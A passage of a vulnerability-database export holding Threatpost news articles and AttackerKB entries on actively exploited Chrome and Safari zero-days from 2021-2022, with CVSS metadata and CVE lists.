discussion](<https://threatpost.com/webinars/protect-sensitive-cloud-data/?utm_source=Website&utm_medium=Article&utm_id=Keeper+Webinar>) \u201cThe Secret to Keeping Secrets,\u201d sponsored by Keeper Security, focused on how to locate and lock down your organization\u2019s most sensitive data. Zane Bond with Keeper Security will join Threatpost\u2019s Becky Bracken to offer concrete steps to protect your organization\u2019s critical information in the cloud, in transit and in storage. [REGISTER NOW](<https://threatpost.com/webinars/protect-sensitive-cloud-data/?utm_source=Website&utm_medium=Article&utm_id=Keeper+Webinar>) and please Tweet us your questions ahead of time @Threatpost so they can be included in the discussion._**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-02-15T18:33:28", "type": "threatpost", "title": "Chrome Zero-Day Under Active Attack: Patch ASAP", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30632", "CVE-2021-30633", "CVE-2021-37973", "CVE-2021-37975", "CVE-2021-37976", "CVE-2021-38000", "CVE-2021-38003", "CVE-2021-4102", "CVE-2021-44228", "CVE-2022-0609"], "modified": "2022-02-15T18:33:28", "id": "THREATPOST:3697F9293A6DFF6CD5927E9E68FF488A", "href": "https://threatpost.com/google-chrome-zero-day-under-attack/178428/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-14T15:21:25", "description": "Google has addressed two zero-day security bugs that are being actively exploited in the wild.\n\nAs part of the internet giant\u2019s latest stable channel release (version 93.0.4577.82 for Windows, Mac and Linux), it fixed 11 total vulnerabilities, all of them rated high-severity. The two zero days are tracked as CVE-2021-30632 and CVE-2021-30633.\n\n\u201cGoogle is aware that exploits for [these] exist in the wild,\u201d the company said in its short website notice on the update, [issued Monday](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop.html>).\n\n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\nGoogle is restricting any technical details \u201cuntil a majority of users are updated with a fix,\u201d it said. The vulnerabilities were reported anonymously, precluding any gleaning of details from the researcher who found them. Here\u2019s what we know:\n\n * CVE-2021-30632: Out of bounds write in V8 JavaScript Engine; and\n * CVE-2021-30633: Use after free in the IndexedDB API.\n\nOut-of-bounds write flaws [can result in](<https://cwe.mitre.org/data/definitions/787.html>) corruption of data, a crash or code execution. Use-after-free issues [can result in](<https://cwe.mitre.org/data/definitions/416.html>) any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Both bugs have TBD bug-bounty awards attached to them and were reported on Sept. 8.\n\nV8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable components is not specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nIndexedDB, meanwhile, allows users to persistently store large amounts of structured data client-side, inside their browsers. The API is a JavaScript application programming interface provided by web browsers for managing these NoSQL databases. It\u2019s a standard maintained by the World Wide Web Consortium.\n\n\u201cBrowser bugs discovered from exploitation in the wild are among the most significant security threats,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cNow that they are patched, exploitation will ramp up. That said, almost 20 years on and we haven\u2019t made web browsing safe shows that the rapid embrace of technology continues to leave users exposed to criminals and nation-state actors. Everyone wants to learn how to hack, too few people are working on defense.\u201d\n\nThe other nine bugs addressed by Google are as follows:\n\n * CVE-2021-30625: Use after free in Selection API. _Reported by Marcin Towalski of Cisco Talos on 2021-08-06_\n * CVE-2021-30626: Out of bounds memory access in ANGLE. _Reported by Jeonghoon Shin of Theori on 2021-08-18_\n * CVE-2021-30627: Type Confusion in Blink layout. _Reported by Aki Helin of OUSPG on 2021-09-01_\n * CVE-2021-30628: Stack buffer overflow in ANGLE. _Reported by Jaehun Jeong(@n3sk) of Theori on 2021-08-18_\n * CVE-2021-30629: Use after free in Permissions. _Reported by Weipeng Jiang (@Krace) from Codesafe Team of Legendsec at Qi\u2019anxin Group on 2021-08-26_\n * CVE-2021-30630: Inappropriate implementation in Blink. _Reported by SorryMybad (@S0rryMybad) of Kunlun Lab on 2021-08-30_\n * CVE-2021-30631: Type Confusion in Blink layout. _Reported by Atte Kettunen of OUSPG on 2021-09-06_\n\nKevin Dunne, president at Pathlock, pointed out that Google has patched plenty of zero-days already this year \u2013 eight prior to the latest two, to be exact \u2013 and he said to expect more.\n\n## **10th Zero-Day in 2021 for Google**\n\n\u201cToday, Google released a patch for its tenth [and ninth] zero-day exploit of the year,\u201d Dunne said in an email to media. \u201cThis milestone highlights the emphasis that bad actors are putting on browser exploits, with Chrome becoming a clear favorite, allowing a streamlined way to gain access to millions of devices regardless of OS.\n\n\u201cWe expect to see continued zero-day exploits in the wild,\u201d he added.\n\nThe other zero days discovered so far in 2021 are as follows, many of them in the V8 engine:\n\n * [CVE-2021-21148](<https://threatpost.com/google-chrome-zero-day-windows-mac/163688/>) \u2013 (February)\n * [CVE-2021-21166](<https://threatpost.com/google-patches-actively-exploited-flaw-in-chrome-browser/164468/>) \u2013 (March)\n * [CVE-2021-21193](<https://threatpost.com/google-mac-windows-chrome-zero-day/164759/>) \u2013 (March)\n * [CVE-2021-21220](<https://threatpost.com/chrome-zero-day-exploit-twitter/165363/>) \u2013 (April)\n * [CVE-2021-21224](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21224>) \u2013 (April, later [used in Windows attacks](<https://threatpost.com/microsoft-patch-tuesday-in-the-wild-exploits/166724/>))\n * [CVE-2021-30551](<https://threatpost.com/chrome-browser-bug-under-attack/166804/>) \u2013 (June)\n * [CVE-2021-30554](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30554>) \u2013 (June)\n * [CVE-2021-30563](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30563>) \u2013 (July)\n\n\u201cGoogle\u2019s commitment to patching these exploits quickly is commendable, as they operate Google Chrome as freeware and therefore are the sole entity who can provide these updates,\u201d Dunne wrote. \u201cGoogle is committed to providing Chrome as a free browser, as it is a critical entry point for other businesses such as Google Search and Google Workspace.\u201d\n\nThe news comes as Apple [rushed a fix](<https://threatpost.com/apple-emergency-fix-nso-zero-click-zero-day/169416/>) for a zero-click zero-day exploit targeting iMessaging. It\u2019s allegedly been used to illegally spy on Bahraini activists with NSO Group\u2019s Pegasus spyware, according to researchers.\n\nMicrosoft is also expected to release its monthly Patch Tuesday set of updates today, so we\u2019ll see if there are yet more zero-day exploits to worry about.\n\n**It\u2019s time to evolve threat hunting into a pursuit of adversaries. **[**JOIN**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** Threatpost and Cybersixgill for **[**Threat Hunting to Catch Adversaries, Not Just Stop Attacks**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** and get a guided tour of the dark web and learn how to track threat actors before their next attack. **[**REGISTER NOW**](<https://threatpost.com/webinars/threat-hunting-catch-adversaries/?utm_source=ART&utm_medium=ART&utm_campaign=September_Cybersixgill_Webinar>)** for the LIVE discussion on Sept. 22 at 2 p.m. EST with Cybersixgill\u2019s Sumukh Tendulkar and Edan Cohen, along with independent researcher and vCISO Chris Roberts and Threatpost host Becky Bracken.**\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 8.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "userInteraction": "REQUIRED", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-09-14T15:03:41", "type": "threatpost", "title": "Pair of Google Chrome Zero-Day Bugs Actively Exploited", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193", "CVE-2021-21220", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30554", "CVE-2021-30563", "CVE-2021-30625", "CVE-2021-30626", "CVE-2021-30627", "CVE-2021-30628", "CVE-2021-30629", "CVE-2021-30630", "CVE-2021-30631", "CVE-2021-30632", "CVE-2021-30633"], "modified": "2021-09-14T15:03:41", "id": "THREATPOST:88DD5812D3C8652E304F32507E4F68DD", "href": "https://threatpost.com/google-chrome-zero-day-exploited/169442/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-03-30T16:18:23", "description": "Google has updated its Stable channel for the desktop version of Chrome, to address a zero-day security vulnerability that\u2019s being actively exploited in the wild.\n\nThe bug, tracked as CVE-2022-1096, is a type-confusion issue in the V8 JavaScript engine, which is an open-source engine used by Chrome and Chromium-based web browsers. Type confusion, as Microsoft has [laid out](<https://www.microsoft.com/security/blog/2015/06/17/understanding-type-confusion-vulnerabilities-cve-2015-0336/>) in the past, occurs \u201cwhen a piece of code doesn\u2019t verify the type of object that is passed to it, and uses it blindly without type-checking, it leads to type confusion\u2026Also with type confusion, wrong function pointers or data are fed into the wrong piece of code. In some circumstances this can lead to code execution.\u201d\n\nGoogle didn\u2019t provide additional technical details, as is its wont, but did say that it was \u201caware that an exploit for CVE-2022-1096 exists in the wild.\u201d An anonymous researcher was credited with finding the issue, which is labeled \u201chigh-severity\u201d (no CVSS score was given).\n\nThe lack of any further information is a source of frustration to some.\n\n\u201cAs a defender, I really wish it was more clear what this security fix is,\u201d John Bambenek, principal threat hunter at Netenrich, said via email. \u201cI get permission-denied errors or \u2018need to authenticate,\u2019 so I can\u2019t make decisions or advise my clients. A little more transparency would be beneficial and appreciated.\u201d\n\n## **Emergency Patch; Active Exploit**\n\nThe internet giant has updated the Stable channel to 99.0.4844.84 for Chrome for Windows, Mac and Linux, according to the its [security advisory](<https://chromereleases.googleblog.com/2022/03/stable-channel-update-for-desktop_25.html>). Microsoft, which offers the Chromium-based Edge browser, also issued its [own advisory](<https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-1096>). It\u2019s unclear whether other offerings built in V8, such as the JavaScript runtime environment Node.js, are also affected.\n\nThe patch was issued on an emergency basis, likely due to the active exploit that\u2019s circulating, researchers noted.\n\n\u201cThe first thing which stood out to me about this update is that it only fixes a single issue,\u201d Casey Ellis, founder and CTO at Bugcrowd, noted by email. \u201cThis is pretty unusual for Google. They typically fix multiple issues in these types of releases, which suggests that they are quite concerned and very motivated to see fixes against CVE-2022-1096 applied across their user-base ASAP.\u201d\n\nHe also commented on the speed of the patch being rolled out.\n\n\u201cThe vulnerability was only reported on the 23rd of March, and while Google\u2019s Chrome team do tend to be fairly prompt in developing, testing and rolling patches, the idea of a patch for software deployed as widely deployed as Chrome in 48 hours is something is continue to be impressed by,\u201d he said. \u201cSpeculatively, I\u2019d suggest that the vulnerability has been discovered via detection of active exploitation in the wild, and the combination of impact and potentially the malicious actors currently using it contributed to the fast turnaround.\u201d\n\n## **V8 Engine in the Crosshairs**\n\nThe V8 engine has been plagued with security bugs and targeted by cyberattackers many times in the last year:\n\nLast year delivered a total of these 16 Chrome zero days:\n\n * [CVE-2021-21148](<https://threatpost.com/google-chrome-zero-day-windows-mac/163688/>) \u2013 Feb. 4, an unnamed type of bug in V8\n * [CVE-2021-21224](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21224>) \u2013 April 20, an issue with type confusion in V8 that could have allowed a remote attacker to execute arbitrary code inside a sandbox via a crafted HTML page.\n * [CVE-2021-30551](<https://threatpost.com/chrome-browser-bug-under-attack/166804/>) \u2013- June 9, a type-confusion bug within V8 (also under active attack as a zero-day)\n * [CVE-2021-30563](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30563>) \u2013 July 15, another type-confusion bug in V8.\n * [CVE-2021-30633](<https://threatpost.com/google-chrome-zero-day-exploited/169442/>) \u2013 Sept. 13, an out-of-bounds write in V8\n * [CVE-2021-37975](<https://threatpost.com/google-emergency-update-chrome-zero-days/175266/>) \u2013 Sept. 30, a use-after-free bug in V8 (also attacked as a zero-day)\n * [CVE-2021-38003](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-38003>) \u2013 Oct. 28, an inappropriate implementation in V8\n * [CVE-2021-4102](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-4102>) \u2013 Dec. 13, a use-after-free bug in V8.\n\n_**Moving to the cloud? Discover emerging cloud-security threats along with solid advice for how to defend your assets with our **_[_**FREE downloadable eBook**_](<https://bit.ly/3Jy6Bfs>)_**, \u201cCloud Security: The Forecast for 2022.\u201d**_ _**We explore organizations\u2019 top risks and challenges, best practices for defense, and advice for security success in such a dynamic computing environment, including handy checklists.**_\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.1", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2022-03-30T16:14:30", "type": "threatpost", "title": "Google Chrome Bug Actively Exploited as Zero-Day", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2015-0336", "CVE-2021-21148", "CVE-2021-21224", "CVE-2021-30551", "CVE-2021-30563", "CVE-2021-30633", "CVE-2021-37975", "CVE-2021-38003", "CVE-2021-4102", "CVE-2021-44228", "CVE-2022-1096"], "modified": "2022-03-30T16:14:30", "id": "THREATPOST:45B63C766965F5748AEC30DE709C8003", "href": "https://threatpost.com/google-chrome-bug-actively-exploited-zero-day/179161/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2021-09-30T22:53:49", "description": "Google has pushed out an emergency Chrome update to fix yet another pair of zero days \u2013 the second pair this month \u2013 that are being exploited in the wild.\n\nThis hoists this year\u2019s total number of zero days found in the browser up to a dozen.\n\nOn Thursday evening, the web Goliath released the [Chrome 94.0.4606.71](<https://chromereleases.googleblog.com/2021/09/stable-channel-update-for-desktop_30.html>) stable channel release for Windows, Mac and Linux to fix the two zero-days, which were included in an update with a total of four security fixes. \n[](<https://threatpost.com/infosec-insider-subscription-page/?utm_source=ART&utm_medium=ART&utm_campaign=InfosecInsiders_Newsletter_Promo/>)\n\n\u201cGoogle is aware the exploits for CVE-2021-37975 and CVE-2021-37976 exist in the wild,\u201d Google disclosed with the release of the browser fixes.\n\n## No Details for the Zero Days\n\nJust as it did with the pair of zero days that were being exploited in the wild [earlier this month](<https://threatpost.com/google-chrome-zero-day-exploited/169442/>), Google is keeping technical details close to the vest, at least until most users have had a chance to plug in the update. The company started pushing out Chrome 94.0.4606.71 to users worldwide in the Stable Desktop channel, and it should be available to all users within coming days.\n\n\u201cAccess to bug details and links may be kept restricted until a majority of users are updated with a fix,\u201d the company said in Thursday\u2019s security update. \u201cWe will also retain restrictions if the bug exists in a third party library that other projects similarly depend on, but haven\u2019t yet fixed.\u201d\n\nHere are details on the two zero-days:\n\n * **CVE-2021-37976** is described as an \u201cinformation leak in core\u201d and was assigned a Medium severity level. It was discovered by Cl\u00e9ment Lecigne from Google\u2019s Threat Analysis Group (TAG) and reported on Tuesday of last week, Sept. 21. Credit for technical assistance also goes out to Sergei Glazunov and Mark Brand from Google Project Zero.\n * **CVE-2021-37975** is a [user-after-free](<http://cwe.mitre.org/data/definitions/416.html>) bug in the [V8 JavaScript engine](<https://v8.dev/>). Reported on Sunday, Sept. 26, by an anonymous contributor, it\u2019s one of two flaws in Thursday\u2019s update that were rated as high severity. V8 is Google\u2019s open-source, high-performance JavaScript and WebAssembly engine for Chrome and Chromium-based browsers. It translates JavaScript code into a more efficient machine code instead of using an interpreter, which speeds up the web browser. Since this vulnerable component isn\u2019t specific to Google Chrome, it\u2019s a good bet that other browsers are affected by the bug as well.\n\nThe second high-severity bug Google addressed on Thursday, **CVE-2021-37974**, is another use-after-free vulnerability: this time, in safe browsing.\n\nThe earlier pair of zero days Google addressed this month in a Sept. 13 update, CVE-2021-30632 and CVE-2021-30633, were likewise being actively exploited in the wild. The first was an out-of-bounds write in V8 JavaScript Engine, and the second was a use-after-free vulnerability in the IndexedDB API.\n\n## Use After Free\n\nUse-after-free issues [can result in](<https://cwe.mitre.org/data/definitions/416.html>) any number of attack types, ranging from the corruption of valid data to the execution of arbitrary code. Writing for Threatpost\u2019s [InfoSec Insider](<https://threatpost.com/microsite/infosec-insiders-community/>) series, Gurucul CEO Saryu Nayyar has described these flaws as among the year\u2019s [most dangerous software weaknesses](<https://threatpost.com/2021-angerous-software-weaknesses/169458/>).\n\nAs Nayyar tells it, use-after-free vulnerabilities entail memory manipulation: \u201cWhen an application needs memory for a variable, it either programmatically allocates that memory, or the underlying platform (JVM or .NET Runtime),\u201d she wrote earlier this month. \u201cWhen the application is done with that memory, either it or the platform returns it to the free memory list.\u201d\n\nBut if an attacker has managed to get the memory address, the actor \u201ccan gain access to the free memory list, and insert malicious software into free memory,\u201d Nayyar continued. \u201cThe next time that memory is allocated, it is allocated with a payload that can cause harm. Further, the memory isn\u2019t wiped clean when it is returned to the free memory list, enabling attackers to read the contents of that memory.\u201d\n\nShe noted that some commercial debuggers can look into a running process and let programmers \u2013 or attackers \u2013 obtain information using memory locations. \u201cWhile these types of debuggers are needed, any tool that lets attackers look into specific memory addresses to determine their contents has the potential to be used as a hacking tool,\u201d Nayyar advised.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {}, "published": "2021-09-30T22:38:50", "type": "threatpost", "title": "Google Emergency Update Fixes Two Chrome Zero Days", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-30632", "CVE-2021-30633", "CVE-2021-37974", "CVE-2021-37975", "CVE-2021-37976"], "modified": "2021-09-30T22:38:50", "id": "THREATPOST:C6B47B678F2F0E21955D4053DE13FA64", "href": "https://threatpost.com/google-emergency-update-chrome-zero-days/175266/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2021-07-15T11:25:30", "description": "Threat actors used a Safari zero-day flaw to send malicious links to government officials in Western Europe via LinkedIn before researchers from Google discovered and reported the vulnerability.\n\nThat\u2019s the word from researchers from Google Threat Analysis Group (TAG) and Google Project Zero, who Wednesday [posted a blog](<https://blog.google/threat-analysis-group/how-we-protect-users-0-day-attacks/>) shedding more light on several zero-day flaws that they discovered so far this year. Researchers in particular detailed how attackers exploited the vulnerabilities\u2014the prevalence of which are on the rise\u2013before they were addressed by their respective vendors.\n\nTAG researchers discovered the Safari WebKit flaw, tracked as [CVE-\u200b2021-1879](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-1879>), on March 19. The vulnerability allowed for the processing of maliciously crafted web content for universal cross site scripting and was addressed by Apple in [an update](<https://support.apple.com/en-us/HT212256>) later that month.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nBefore the fix, researchers assert Russian-language threat actors were exploiting the vulnerability in the wild by using LinkedIn Messaging to send government officials from Western European countries malicious links that could collect website-authentication cookies, according to the post by Maddie Stone and Clement Lecigne from Google TAG.\n\n\u201cIf the target visited the link from an iOS device, they would be redirected to an attacker-controlled domain that served the next-stage payloads,\u201d they wrote.\n\nThe exploit, which targeted iOS versions 12.4 through 13.7, would turn off [Same-Origin-Policy](<https://en.wikipedia.org/wiki/Same-origin_policy>) protections on an infected device to collect authentication cookies from several popular websites\u2013including Google, Microsoft, LinkedIn, Facebook and Yahoo\u2013and then send them via WebSocket to an attacker-controlled IP, researchers wrote. The victim would need to have a session open on these websites from Safari for cookies to be successfully exfiltrated.\n\nMoreover, the campaign targeting iOS devices coincided with others from the same threat actor\u2014which Microsoft has identified as Nobelium\u2013targeting users on Windows devices to deliver Cobalt Strike, researchers wrote. Security firm Volexity described one of these attacks [in a report](<https://www.volexity.com/blog/2021/05/27/suspected-apt29-operation-launches-election-fraud-themed-phishing-campaigns/>) posted online in May, the researchers added.\n\nNobellium is believed to be a Russia-based threat group responsible for the [expansive cyber-espionage SolarWinds](<https://threatpost.com/feds-russia-culprit-solarwinds/162785/>) campaign, which affected numerous U.S. government agencies and tech companies, including Microsoft.\n\n## **Other Zero-Day Attacks**\n\nGoogle researchers also linked three additional zero-day flaws they identified this year to a commercial surveillance vendor, according to [Google TAG\u2019s Shane Huntley](<https://twitter.com/ShaneHuntley/status/1415340345500463113>). Two of those vulnerabilities\u2013[CVE-2021-21166](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-21166>) and [CVE-2021-30551](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-30551>)\u2014were found in Chrome, and one, tracked as [CVE-2021-33742](<https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-33742>), in Internet Explorer.\n\nCVE-2021-21166 and CVE-2021-30551, two Chrome rendered remote-code execution (RCE) flaws, were identified separately but later believed to be used by the same actor, researchers wrote in the blog. Google researchers discovered the former in February and the latter in June.\n\n\u201cBoth of these 0-days were delivered as one-time links sent by email to the targets, all of whom we believe were in Armenia,\u201d Stone and Lecigne wrote. \u201cThe links led to attacker-controlled domains that mimicked legitimate websites related to the targeted users.\u201d\n\nWhen prospective victims clicked the link, they were redirected to a webpage that would fingerprint their device, collect system information about the client, and generate ECDH keys to encrypt the exploits, researchers wrote. This info\u2014which included screen resolution, timezone, languages, browser plugins, and available MIME types\u2014would then be sent back to the exploit server and used by attackers to decide whether or not an exploit should be delivered to the target, they said.\n\nResearchers also identified a separate campaigned in April that also targeted Armenian users by leveraging CVE-2021-26411, an RCE bug found in Internet Explorer (IE). The campaign loaded web content within IE that contained malicious Office documents, researchers wrote.\n\n\u201cThis happened by either embedding a remote ActiveX object using a Shell.Explorer.1 OLE object or by spawning an Internet Explorer process via VBA macros to navigate to a web page,\u201d Stone and Lecigne explained.\n\nAt the time, researchers said they were unable to recover the next-stage payload, but successfully recovered the exploit after discovering an early June campaign from the same actors. Microsoft patched the flaw later that month, they said.\n\n\n\nClick to Zoom CREDIT: TAG\n\n## **Why There is an Increase in Zero-Days?**\n\nAll in all, security researchers have identified 33 [zero-day flaws](<https://threatpost.com/kaseya-patches-zero-days-revil-attacks/167670/>) so far in 2021, which is 11 more than the total number from 2020, according to the post.\n\nWhile that trend reflects an increase in the number of these types of vulnerabilities that exist, Google researchers \u201cbelieve greater detection and disclosure efforts are also contributing to the upward trend,\u201d they wrote.\n\nStill, it\u2019s highly possible that attackers are indeed using more [zero-day exploits](<https://threatpost.com/zero-day-wipe-my-book-live/167422/>) for a few reasons, researchers noted. One is that the increase and maturation of security technologies and features means attackers also have to level up, which in turn requires more [zero-day vulnerabilities](<https://threatpost.com/solarwinds-hotfix-zero-day-active-attack/167704/>) for functional attack chains, they said.\n\nThe growth of mobile platforms also has resulted in an increase in the number of products that threat actors want to target\u2014hence more reason to use zero-day exploits, researchers observed. Perhaps inspired by this increase in demand, commercial vendors also are selling more access to zero-days than in the early 2010s, they said.\n\nFinally, the maturation of security protections and strategies also inspires sophistication on the part of attackers as well, boosting the need for them to use zero-day flaws to convince victims to install malware, researchers noted.\n\n\u201cDue to advancements in security, these actors now more often have to use 0-day exploits to accomplish their goals,\u201d Stone and Lecigne wrote.\n\n_**Check out our free **_[_**upcoming live and on-demand webinar events**_](<https://threatpost.com/category/webinars/>)_** \u2013 unique, dynamic discussions with cybersecurity experts and the Threatpost community.**_\n", "cvss3": {}, "published": "2021-07-15T11:04:49", "type": "threatpost", "title": "Safari Zero-Day Used in Malicious LinkedIn Campaign", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2021-1879", "CVE-2021-21166", "CVE-2021-26411", "CVE-2021-30551", "CVE-2021-33742"], "modified": "2021-07-15T11:04:49", "id": "THREATPOST:EA23582BD77C428ACE9B9DB7D5741EB6", "href": "https://threatpost.com/safari-zero-day-linkedin/167814/", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}], "attackerkb": [{"lastseen": "2022-10-23T17:13:30", "description": "Use after free in Blink in Google Chrome prior to 89.0.4389.90 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\n \n**Recent assessments:** \n \n**gwillcox-r7** at March 15, 2021 6:18am UTC reported:\n\nReported as exploited in the wild at <https://thehackernews.com/2021/03/another-google-chrome-0-day-bug-found.html> and at <https://chromereleases.googleblog.com/2021/03/stable-channel-update-for-desktop_12.html>.\n\nThis bug seems to have scarce details from what I can tell online, however it appears to be a UAF bug within Blink that was reported by an anonymous researcher on 2021-03-09. The details for this bug are currently locked so that only Google employees can access it, but should it be opened to the public the details will be at <https://bugs.chromium.org/p/chromium/issues/detail?id=1186287>.\n\nAs per usual the advice to protect against UAF bugs in browsers is to disable JavaScript on untrusted websites via a plugin such as NoScript. Since most UAF\u2019s require JavaScript to be enabled to conduct exploitation, this will act as an effective mitigation in most cases, but users should not rely on this as their sole protection mechanism.\n\nIt is interesting to see that this is the third 0day exploited in the wild this year in Chrome, alongside CVE-2021-21166, a object lifecycle issue in the audio component, and CVE-2021-21148, a heap buffer overflow within the V8 scripting engine. Time will tell if this trend continues though, but it is interesting to see such an regular cadence of vulnerabilities being exploited in the wild.\n\nAssessed Attacker Value: 4 \nAssessed Attacker Value: 4Assessed Attacker Value: 3\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.8, "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "version": "3.1", "userInteraction": "REQUIRED"}, "impactScore": 5.9}, "published": "2021-03-16T00:00:00", "type": "attackerkb", "title": "CVE-2021-21193", "bulletinFamily": "info", "cvss2": {"severity": "MEDIUM", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": true, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 6.8, "vectorString": "AV:N/AC:M/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 6.4, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2021-21148", "CVE-2021-21166", "CVE-2021-21193"], "modified": "2021-03-24T00:00:00", "id": "AKB:C300BC5A-FE8F-4274-AFA8-C1F47411FEC1", "href": "https://attackerkb.com/topics/ACMmdhOpt2/cve-2021-21193", "cvss": {"score": 6.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2022-05-26T08:40:01", "description": "Use after free in Blink in Google Chrome prior to 89.0.4389.128 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.\n\n \n**Recent assessments:** \n \nAssessed Attacker Value: 0 \nAssessed Attacker Value: 0Assessed Attacker Value: 0\n", "cvss3": {"exploitabilityScore": 2.8, "cvssV3": {"baseSeverity": "HIGH", 